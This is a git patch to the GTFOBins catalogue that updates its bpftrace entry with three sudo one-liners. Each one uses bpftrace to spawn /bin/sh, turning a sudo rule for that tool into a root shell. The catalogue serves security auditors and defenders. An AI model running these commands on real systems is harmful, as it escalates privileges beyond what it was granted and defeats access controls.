From 1f9dbbf6eb3046b10ca8e624b8f6bc652452886b Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Fri, 3 Jan 2020 14:11:37 +0100 Subject: [PATCH] Improve bpftrace sudo shell --- _gtfobins/bpftrace.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/_gtfobins/bpftrace.md b/_gtfobins/bpftrace.md index 96259a1..4ae16fe 100644 --- a/_gtfobins/bpftrace.md +++ b/_gtfobins/bpftrace.md @@ -1,9 +1,10 @@ --- functions: sudo: - - code: sudo bpftrace -e 'BEGIN {system("/bin/sh")}' + - code: sudo bpftrace -e 'BEGIN {system("/bin/sh");exit()}' - code: | TF=$(mktemp) - echo 'BEGIN {system("/bin/sh")}' >$TF + echo 'BEGIN {system("/bin/sh");exit()}' >$TF sudo bpftrace $TF + - code: sudo bpftrace -c /bin/sh -e 'END {exit()}' ---